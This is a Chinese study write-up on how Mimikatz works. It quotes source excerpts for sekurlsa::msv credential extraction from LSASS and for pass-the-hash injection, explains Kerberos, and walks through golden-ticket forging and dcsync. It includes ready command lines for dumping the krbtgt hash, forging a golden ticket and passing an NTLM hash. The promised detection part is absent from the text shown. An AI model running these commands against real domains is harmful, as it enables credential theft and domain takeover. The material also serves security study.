Mimikatz原理分析和检测

前言

  • 这是学习Mimikatz工作原理的无总结笔记。主要包含了sekurlsa::msv,sekurlsa::pth,lsadump::dcsync,票据传递等功能的原理分析和检测。

sekurlsa::msv源码分析

  • Mimikatz的sekurlsa::msv命令是用于获取NTLM协议加密的凭证
  • 其在mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c中的NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)函数中实现。
  • 具体原理是通过特征码定位Lsass.exe进程的lsasvr.dll中的LogonSessionList全局变量和LogonSessionListCount全局变量的地址,然后解析LogonSessionList结构体即可,LogonSessionList是一个双向链表(LIST_ENTRY)。
  • 在NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)函数中,首先调用kuhl_m_sekurlsa_acquireLSA()函数用于获取相关模块信息,主要是在kull_m_process_getVeryBasicModuleInformations()函数中,通过PEB获取指定的lsasvr.dll基地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    moduleInformation.NameDontUseOutsideCallback = &moduleName;
    if(kull_m_process_peb(memory, &Peb, FALSE))
    {
    aBuffer.address = &LdrData; aProcess.address = Peb.Ldr;
    if(kull_m_memory_copy(&aBuffer, &aProcess, sizeof(LdrData)))
    {
    for(
    aLire = (PBYTE) (LdrData.InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
    fin = (PBYTE) (Peb.Ldr) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector);
    (aLire != fin) && continueCallback;
    aLire = (PBYTE) LdrEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
    )
    {
    aBuffer.address = &LdrEntry; aProcess.address = aLire;
    if(continueCallback = kull_m_memory_copy(&aBuffer, &aProcess, sizeof(LdrEntry)))
    {
    moduleInformation.DllBase.address = LdrEntry.DllBase;
    moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
    moduleName = LdrEntry.BaseDllName;
    if(moduleName.Buffer = (PWSTR) LocalAlloc(LPTR, moduleName.MaximumLength))
    {
    aBuffer.address = moduleName.Buffer; aProcess.address = LdrEntry.BaseDllName.Buffer;
    if(kull_m_memory_copy(&aBuffer, &aProcess, moduleName.MaximumLength))
    {
    kull_m_process_adjustTimeDateStamp(&moduleInformation);
    continueCallback = callBack(&moduleInformation, pvArg);
    }
    LocalFree(moduleName.Buffer);
    }
    }
    }
    status = STATUS_SUCCESS;
    }
    }
  • 然后通过kuhl_m_sekurlsa_utils_search()函数搜索LogonSessionList全局变量和LogonSessionListCount全局变量的地址,其中LsaSrvReferences数组存储着不同系统版本的索引特征码(位于kuhl_m_sekurlsa_utils.c文件中)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    BOOL kuhl_m_sekurlsa_utils_search(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib)
    {
    PVOID *pLogonSessionListCount = (cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_2K3) ? NULL : ((PVOID *) &LogonSessionListCount);
    return kuhl_m_sekurlsa_utils_search_generic(cLsass, pLib, LsaSrvReferences, ARRAYSIZE(LsaSrvReferences), (PVOID *) &LogonSessionList, pLogonSessionListCount, NULL, NULL);
    }
    KULL_M_PATCH_GENERIC LsaSrvReferences[] = {
    {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, 0}},
    {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, -45}},
    {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WN60_LogonSessionList), PTRN_WN60_LogonSessionList}, {0, NULL}, {21, -4}},
    {KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LogonSessionList), PTRN_WN61_LogonSessionList}, {0, NULL}, {19, -4}},
    {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
    {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_LogonSessionList), PTRN_WN63_LogonSessionList}, {0, NULL}, {36, -6}},
    {KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
    {KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WN1703_LogonSessionList), PTRN_WN1703_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN1803_LogonSessionList), PTRN_WN1803_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_10_1903, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_2022, {sizeof(PTRN_WN11_LogonSessionList), PTRN_WN11_LogonSessionList}, {0, NULL}, {24, -4}},
    };
  • 此时LogonSessionListCount,LogonSessionList两个变量,仅仅表示的是其在内存中的地址。需要通过kull_m_memory_copy获取其值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    securityStruct.hMemory = cLsass.hLsassMem;
    if(securityStruct.address = LogonSessionListCount)
    kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG)); //data->address 保存的是LogonSessionListCount的值
    for(i = 0; i < nbListes; i++)
    {
    securityStruct.address = &LogonSessionList[i];
    data.address = &pStruct;
    data.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
    if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
    {
    if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID))) //securityStruct.address 保存的是LogonSessionList数组地址
    .....
    }
  • 然后第三次调用kull_m_memory_copy()函数,获取双向链表的第一个节点,aBuffer.address就是第一个节点的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    if(kull_m_memory_copy(&aBuffer, &data, helper->tailleStruct))//aBuffer.address指向的是LogonSessionList双向列表的某个节点
    {
    sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid);
    sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType));
    sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession));
    sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
    sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
    sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
    sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
    sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
    sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime));
    sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);
    ....
    }

    mark

Pass the Hash攻击(传递Hash攻击)

  • 哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证(攻击者无须通过解密hash值来获取明文密码。),以此来横向访问其他网络系统。

  • 在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredManage),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)。

  • 但是hash的获取是固定存在的,因为window中经常需要用hash来进行验证和交互。所以利用hash来进行横向移动在内网渗透中经常充当主力的角色。

sekurlsa::pth源码分析

  • Mimikatz的sekurlsa::pth命令主要用户进行Pass The Hash攻击,其实现在mimikatz\modules\sekurlsa\kuhl_m_sekurlsa.c中的kuhl_m_sekurlsa_pth函数。
  • 命令如下:sekurlsa::pth /user:Administrator /domain:192.168.230.129 /ntlm:32ed87bdb5fdc5e9cba88547376818d4
  • 首先将分别解析命令行所传递的参数,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    if(kull_m_string_args_byName(argc, argv, L"luid", &szLuid, NULL))
    {
    tokenStats.AuthenticationId.HighPart = 0; // because I never saw it != 0
    tokenStats.AuthenticationId.LowPart = wcstoul(szLuid, NULL, 0);
    }
    else
    {
    if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
    {
    if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
    {
    isImpersonate = kull_m_string_args_byName(argc, argv, L"impersonate", NULL, NULL);
    kull_m_string_args_byName(argc, argv, L"run", &szRun, isImpersonate ? _wpgmptr : L"cmd.exe");
    kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\nimpers.\t: %s\n", szUser, szDomain, szRun, isImpersonate ? L"yes" : L"no");
    }
    else PRINT_ERROR(L"Missing argument : domain\n");
    }
    else PRINT_ERROR(L"Missing argument : user\n");
    }
  • 关于散列,一共可以有4种不同的类型可以选择,分别是aes128,aes256,ntlm,rc4。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    if(kull_m_string_args_byName(argc, argv, L"rc4", &szNTLM, NULL) || kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
    {
    if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH))
    {
    data.NtlmHash = ntlm;
    kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
    }
    else PRINT_ERROR(L"ntlm hash/rc4 key length must be 32 (16 bytes)\n");
    }
  • 接着,调用kull_m_process_create()函数,kull_m_process_create()函数参数主要有

    • szRun:需要运行的程序
    • szUser:用户名
    • szDomain:域
    • szPassword:密码(此处密码为空)
      1
      if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE))
  • 在kull_m_process_create()函数中,调用CreateProcessWithLogonW()创建一个进程。CreateProcessWithLogonW可以使用指定的凭证信息创建进程。但是传递的Password值是空的,以便后续填充。

    1
    2
    3
    4
    case KULL_M_PROCESS_CREATE_LOGON:
    status = CreateProcessWithLogonW(user, domain, password, iLogonFlags, NULL, dupCommandLine, iProcessFlags, NULL, NULL, &startupInfo, ptrProcessInfos);
    break;
    }
  • 接着调用kuhl_m_sekurlsa_pth_luid()函数,kuhl_m_sekurlsa_pth_luid()携带的参数是一个PSEKURLSA_PTH_DATA结构,其中包含6个成员。LogonId为登录的id,NtlmHash为NTLM散列,也就是常规Pth传入的值。

    1
    2
    3
    4
    5
    6
    7
    typedef struct _SEKURLSA_PTH_DATA {
    PLUID LogonId;
    LPBYTE NtlmHash;
    LPBYTE Aes256Key;
    LPBYTE Aes128Key;
    BOOL isReplaceOk;
    } SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA;
  • kuhl_m_sekurlsa_pth_luid()首先会调用kuhl_m_sekurlsa_acquireLSA(),该函数首先会遍历Lsass.exe进程的模块,根据不同的sekurlsa模块不同的命令,选择不同的模块。例如msv命令就是寻找lsasvr.dll这个模块
    mark

  • kuhl_m_sekurlsa_acquireLSA()主要调用kull_m_process_getVeryBasicModuleInformations()函数通过PEB的Ldr列表获取指定模块的信息,主要是模块的基地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    case KULL_M_MEMORY_TYPE_OWN:
    if(kull_m_process_peb(memory, &Peb, FALSE))
    {
    for(pLdrEntry = (PLDR_DATA_TABLE_ENTRY) ((PBYTE) (Peb.Ldr->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
    (pLdrEntry != (PLDR_DATA_TABLE_ENTRY) ((PBYTE) (Peb.Ldr) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector))) && continueCallback;
    pLdrEntry = (PLDR_DATA_TABLE_ENTRY) ((PBYTE) (pLdrEntry->InMemoryOrderLinks.Flink ) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))
    )
    {
    moduleInformation.DllBase.address = pLdrEntry->DllBase;
    moduleInformation.SizeOfImage = pLdrEntry->SizeOfImage;
    moduleInformation.NameDontUseOutsideCallback = &pLdrEntry->BaseDllName;
    kull_m_process_adjustTimeDateStamp(&moduleInformation);
    continueCallback = callBack(&moduleInformation, pvArg);
    }
    status = STATUS_SUCCESS;
    }

    mark

  • 调用kuhl_m_sekurlsa_utils_search()函数搜索LogonSessionList的特征码,LogonSessionList结构体包含了登录会话的诸多信息。其主要会调用kuhl_m_sekurlsa_utils_search_generic()函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    KULL_M_PATCH_GENERIC LsaSrvReferences[] = {
    {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, 0}},
    {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_LogonSessionList), PTRN_WIN5_LogonSessionList}, {0, NULL}, {-4, -45}},
    {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WN60_LogonSessionList), PTRN_WN60_LogonSessionList}, {0, NULL}, {21, -4}},
    {KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LogonSessionList), PTRN_WN61_LogonSessionList}, {0, NULL}, {19, -4}},
    {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
    {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_LogonSessionList), PTRN_WN63_LogonSessionList}, {0, NULL}, {36, -6}},
    {KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {16, -4}},
    {KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WN1703_LogonSessionList), PTRN_WN1703_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN1803_LogonSessionList), PTRN_WN1803_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_10_1903, {sizeof(PTRN_WN6x_LogonSessionList), PTRN_WN6x_LogonSessionList}, {0, NULL}, {23, -4}},
    {KULL_M_WIN_BUILD_2022, {sizeof(PTRN_WN11_LogonSessionList), PTRN_WN11_LogonSessionList}, {0, NULL}, {24, -4}},
    };
  • 首先调用kull_m_patch_getGenericFromBuild()函数,其会根据系统版本选择指定的特征码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    PKULL_M_PATCH_GENERIC kull_m_patch_getGenericFromBuild(PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, DWORD BuildNumber)
    {
    SIZE_T i;
    PKULL_M_PATCH_GENERIC current = NULL;
    for(i = 0; i < cbGenerics; i++)
    {
    if(generics[i].MinBuildNumber <= BuildNumber)
    current = &generics[i];
    else break;
    }
    return current;
    }
  • 然后调用kull_m_memory_search搜索指定特征码的地址

    1
    2
    3
    for(CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address; !status && (CurrentPtr + Length <= limite); CurrentPtr++)
    status = RtlEqualMemory(Pattern->address, CurrentPtr, Length);
    CurrentPtr--;
  • 调用lsassLocalHelper->AcquireKeys()函数,本质是调用kuhl_m_sekurlsa_nt6_acquireKeys()函数。其本质和kuhl_m_sekurlsa_utils_search_generic()函数一样,都是先调用kull_m_patch_getGenericFromBuild选择合适的特征码,然后搜索。其目的是为了寻找用于加密凭证的秘钥,因为凭证在内存中加密存储的。其实windows并不是直接比较里面的NTLM散列,而是比较经过加密之后的散列的密文。然后调用利用寻找到的秘钥调用BCryptGenerateSymmetricKey生成秘钥。

    1
    2
    3
    4
    5
    6
    7
    KULL_M_PATCH_GENERIC PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef[] = { // InitializationVector, h3DesKey, hAesKey
    {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY), PTRN_WNO8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {63, -69, 25}},
    {KULL_M_WIN_BUILD_7, {sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY), PTRN_WNO8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {59, -61, 25}},
    {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY), PTRN_WIN8_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {62, -70, 23}},
    {KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY), PTRN_WN10_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {61, -73, 16}},
    {KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY), PTRN_WN10_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {67, -89, 16}},
    };

    mark

  • 调用kuhl_m_sekurlsa_enum寻找登录凭证,最终调用kuhl_m_sekurlsa_enum_callback_msv_pth函数将加密之后的凭证写入Lsass.exe进程的指定的LogonSessionList数组中。首先比较是否是指定的LogonId。然后调用kuhl_m_sekurlsa_msv_enum_cred()函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
    {
    PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
    MSV1_0_PTH_DATA_CRED credData = {pData, pthData};
    if(SecEqualLuid(pData->LogonId, pthData->LogonId))
    {
    kuhl_m_sekurlsa_msv_enum_cred(pData->cLsass, pData->pCredentials, kuhl_m_sekurlsa_msv_enum_cred_callback_pth, &credData);
    return FALSE;
    }
    else return TRUE;
    }
  • 最终调用kuhl_m_sekurlsa_msv_enum_cred_callback_pth,在kuhl_m_sekurlsa_msv_enum_cred_callback_pth函数中,首先会调用kuhl_m_sekurlsa_nt6_LsaEncryptMemory函数加密NTLM散列。其加密逻辑是如果加密的凭证能被8整除,则使用AES,否则使用3DES。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(msvCredentials, pCredentials->Credentials.Length);
    VOID WINAPI kuhl_m_sekurlsa_nt6_LsaProtectMemory(IN PVOID Buffer, IN ULONG BufferSize)
    {
    kuhl_m_sekurlsa_nt6_LsaEncryptMemory((PUCHAR) Buffer, BufferSize, TRUE);
    }
    //////加密逻辑
    if(cbMemory % 8)
    {
    hKey = &kAes.hKey;
    cbIV = sizeof(InitializationVector);
    }
    else
    {
    hKey = &k3Des.hKey;
    cbIV = sizeof(InitializationVector) / 2;
    }
    __try
    {
    status = cryptFunc(*hKey, pMemory, cbMemory, 0, LocalInitializationVector, cbIV, pMemory, cbMemory, &cbResult, 0);
    }
  • 然后调用kull_m_memory_copy函数中的WriteProcessMemory写入Lsass.exe进程空间。最后Resume线程。完事PtH。

    1
    2
    3
    case KULL_M_MEMORY_TYPE_OWN:
    status = WriteProcessMemory(Destination->hMemory->pHandleProcess->hProcess, Destination->address, Source->address, Length, NULL);
    break;

NTLM 凭证生成

  • msv1_0!LsaApLogonUserEx2—>lsasrv!LsapCreateLsaLogonSession—->msv1_0!SpAcceptCredentials

Kerberos认证协议

  • Kerberos协议的组成角色:

    • 客户端:发送请求的一方
    • 服务端:接收请求的一方
    • 秘钥分发中心(Key Distribution Center KDC),KDC分为两部分:
      • AS(Authentication Server):用于认证客服端,以及发放后续客户端用于访问TGS(Ticket Granting Server)的TGT(凭据授予票据Ticket Granting Ticket)
      • TGS(Ticket Granting Server):同于发放认证过程和客户端访问服务端的票据
  • Kerberos协议通过引入同时认识客户端(A)和服务端(B)的秘钥分发中心(C)实现身份认证。简化的流程如下:

    • 第一步:客户端向KDC请求获取访问服务端的服务授予票据
    • 第二歩:客户端拿着服务授予票据访问服务端
  • 上述步骤存在的问题:

    • 1.KDC如何判断客户端的安全性(真实性)?
    • 2.服务端如何判断客户端的服务授予票据的真实性?
  • Kerberos认证协议的前提:

    • Kerberos存在一个数据库,运维人员会添加可以使用认证服务的人员和网络服务。相当于一个白名单。
    • 当用户被添加到数据库,会根据当前的密码生成一把秘钥存储在数据库中(很重要)。并且保存用户的基本信息,以供认证。
    • 只要两两通讯就会进行认证。
  • 两个个人理解的概念:机器秘钥(与机器密码强相关的秘钥),会话秘钥(CT_SK,CS_SK)本次会话中使用的秘钥,会消失。

Kerberos协议第1次通讯

  • 客户端行为:
    • 1.客户端明文向KDC发送请求,该次请求中携带了自己的用户名,主机IP,和当前时间戳
  • KDC行为:

    • 1.KDC(其中的AS认证服务器)在数据库中比较,是否存在该用户名的用户,但是不会判断身份的可靠性
    • 2.如果没有该用户名,认证失败。如果存在,则发送下面两部分数据给客户端
      • TGT(Ticket Granting Ticket即票据授予票据,TGT客户端使用TGT去KDC获取服务授予票据):TGT包含客户端的Name,Ip,时间戳,TGS_Name,TGT的有效时间,以及一把客户端和TGS通讯的CT_SK(Client And TGS Session Key CT_SK)。TGT使用TGS的秘钥进行加密(客户端无法解密),并且秘钥并没有在网络上传播(不存在在线盗取秘钥)。
      • 将CT_SK,TGS_Name,TGT的有效时间,当前时间戳等数据使用客户端的秘钥(保存在数据库中)加密的数据。该秘钥并没有在网络上传播(不存在在线盗取秘钥)。
  • 总结:KDC总是会传递两部分数据,一部分是客户端能解密的数据(KDC存在客户端秘钥),第二部分是客户端不能解密的数据(使用TGS秘钥),重点是将使用客户端秘钥加密过的CT_SK传递给客户端,避免CT_SK中间被窃取,因为非法的客户端不存在真实的客户端秘钥!这样就实现了CT_SK的传递

  • 备注:凭据信息(TGT,ST)是由和机器密码强相关的秘钥进行加密,主机秘钥在网络中不传递。由来校验加密数据的端点信息和凭据中的端点信息。第一次通讯主要有两个目的,第一,验证客户端是否存在,第二,传递CT_KS会话秘钥。

Kerberos协议第2次通讯

  • 客户端行为:
    • 1.客户端接收上述KDC发送的TGT和加密数据,利用自己的秘钥解密加密数据,并获取CT_SK会话秘钥。如果获取的时间戳和自己发送的时间戳差值大于5mins,则认证结束。否则客户端向TGS发送请求。
    • 2.利用接收到的CT_SK(Session Key)加密自身的客户端信息,包括客户端名,ip,时间戳。
    • 3.客户端向KDC发送要访问的服务端的明文信息。
    • 4.客户端向KDC发送没改变的TGT。
  • TGS行为:

    • 1.TGS验证客户端明文发送的服务端信息,如果不存在,则认证结束。
    • 2.TGS利用自身的秘钥解密TGT,得到时间戳和CT_SK,如果时间超过5mins,则认证结束。
    • 3.使用CT_SK解密客户端发送的客户端信息,比较这个客户端信息和TGT里面的客户端信息进行比对。如果不同则,认证结束。
    • 4.KDC发送响应内容给客户端:
      • 服务端秘钥加密的Ticket(ST),内容包括:客户端信息,Serivce IP,ST的有效时间,时间戳,以及客户端服务端通信的CS_SK
      • 使用CT_SK加密的内容,其中包括CS_SK,时间戳,ST的有效期。此时客户端已经使用自身的秘钥解密的第一次通讯接收的第二部分数据,获取了CT_SK,并进行了缓存
  • 总结:本次通讯,有三个目的,第一:客户端会发送服务端信息以让TGS确认是否存在服务端,以及CT_SK加密之后的客户端信息和TGT,以让TGS比较两个数据中保存的客户端信息是否相同。并传递ST和包含CS_SK会话秘钥的加密数据。

  • 备注:每一次通讯,KDC都会把下一次通讯所需要的会话秘钥传递给客户端。并且客户端每次都会发送两次包含自身数据的报文给校验者从而校验自身,其中TGT和ST的机器秘钥(TGS和服务端机器秘钥)都不经过传递,保证安全性。

Kerberos协议第3次通讯

  • 客户端行为
    • 1.客户端收到KDC的响应,解密有CT_SK加密的第二部分数据,确认无误后,并获取CS_SK会话秘钥继续。
    • 2.客户端使用CS_SK将自己主机信息和时间戳加密发送给服务端
    • 3.客户端将第二次通讯获得的服务端凭证ST发送给服务端
  • 服务端行为

    • 1.服务端接收到客户端发来的两部分数据后,服务端使用服务端秘钥解密ST,校验时间戳。
    • 2.使用CS_SK解密客户端发来的第一部分数据,得到TGS认证过的客户端信息。然后对比这部分数据的客户端信息和经过服务端秘钥加密的ST的客户端信息,判断客户端的合理性。
    • 3.服务端返回的CT_SK加密的数据,以是的客户端确认服务端身份。就此,Kerberos认证完成。
  • 总结:第三次通讯,服务端利用自身的秘钥解密ST,获取其中的客户端信息,然后比较客户端发来的客户端信息。从而客户端的合理性。

Ref:详解kerberos认证流程

Pass The Ticket

  • Ptt主要在域内进行横向移动的技术。

黄金票据

  • 特点:有效时间长(默认是十年),不会因为密码的修改导致票据的失效,用户名可以是任意的虚拟的。
  • 制作黄金票据的前提:

    • 域名称
    • SID
    • 域的kbrtgt的Hash(要求短暂的拿到域控服务器的控制权)
    • 任意用户名
  • 在域控服务器中(备注,也可以不登录域控即可获取https://www.freebuf.com/articles/network/286137.html),使用mimikatz.exe "lsadump::dcsync /domain:corp.hacky.ren /user:krbtgt" >> golden.txt,可以得到SID以及kbrtgt的Hash,以及域名称。
    mark

  • 在非域控主机中,使用mimikatz.exe "kerberos::golden /admin:hacky /domain:corp.hacky.ren /sid:S-1-5-21-442036050-123597327-3835497791 kbrgtg:ac9a6f3e6ea0f74274725c39179f44a1 /ptt"生成黄金票据,并将其导入内存。

    • /admin参数:表示任意伪造的用户名(最好改为受控的主机名,因为部分安全产品是通过检索登录的域账户是否存在而检测PtT)
    • /sid:sid数值,取最后一个“-”之前的内容
    • /ptt:直接导入内存,这样就不需要使用”kerberos::ptt导入了”
      mark
  • 使用klist或者kerberos::list查看伪造的金票是否被导入。
    mark

  • 修改域控服务器密码为abcd.123,然后在远程登录域控,测试金票是否有效。
    mark

  • Ref:

lsadump::dcsync 源码分析

  • 原理:不同的域控制器(DC)会进行数据同步复制,mimikatz通过模拟一个域控制器,通过GetNCChanges函数向真实的域控制器发送数据同步复制请求,获取控制器指定的用户的口令Hash。dcsync的主要特点是不需要登录域控服务器而获取用户口令HASH。需要注意的是,DCSync 攻击的对象如果是 RODC 域控制器,则会失效,因为 RODC是不能参与复制同步数据。

  • lsadump::dcsync命令源码位于\mimikatz\modules\lsadump\kuhl_m_lsadump_dc.c中的NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])函数中。

  • 首先,通过kull_m_net_getDC(szDomain, DS_DIRECTORY_SERVICE_REQUIRED, &szTmpDc)寻找域内的域控服务器,其本质会调用DsGetDcNameAPI函数。

  • 然后,通过IDL_DRSGetNCChanges函数,向真实域控服务器发送请求,以获取用户信息。

    1
    2
    RtlZeroMemory(&getChRep, sizeof(DRS_MSG_GETCHGREPLY));
    drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep);
  • 几个重要的结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    //DRS_MSG_GETCHGREPLY:用于接收IDL_DRSGetNCChanges传来的响应消息
    typedef union _DRS_MSG_GETCHGREPLY {
    DRS_MSG_GETCHGREPLY_V6 V6;
    } DRS_MSG_GETCHGREPLY;
    //////
    //DRS_MSG_GETCHGREPLY_V6表示DRS_MSG_GETCHGREPLY的第六个版本
    typedef struct _DRS_MSG_GETCHGREPLY_V6 {
    UUID uuidDsaObjSrc;
    UUID uuidInvocIdSrc;
    DSNAME *pNC;
    USN_VECTOR usnvecFrom;
    USN_VECTOR usnvecTo;
    UPTODATE_VECTOR_V2_EXT *pUpToDateVecSrc;
    SCHEMA_PREFIX_TABLE PrefixTableSrc;
    ULONG ulExtendedRet;
    ULONG cNumObjects;
    ULONG cNumBytes;
    REPLENTINFLIST *pObjects;
    BOOL fMoreData;
    ULONG cNumNcSizeObjects;
    ULONG cNumNcSizeValues;
    DWORD cNumValues;
    REPLVALINF_V1 *rgValues;
    DWORD dwDRSError;
    } DRS_MSG_GETCHGREPLY_V6;
    /////////
    //PrefixTableSrc定义了从OIDATTRTYP值的映射表
    typedef struct _SCHEMA_PREFIX_TABLE {
    DWORD PrefixCount; //PrefixTableEntry的数量
    PrefixTableEntry *pPrefixEntry; //包含了PrefixTableEntry的数组
    } SCHEMA_PREFIX_TABLE;
    ////
    //REPLENTINFLIST包含了给定对象(Object)的一个或多个属性
    typedef struct REPLENTINFLIST {
    struct REPLENTINFLIST* pNextEntInf;
    ENTINF Entinf;
    BOOL fIsNCPrefix;
    UUID* pParentGuid;
    PROPERTY_META_DATA_EXT_VECTOR* pMetaDataExt;
    } REPLENTINFLIST;
    /////
    //AttrBlock 简单的理解为属性块
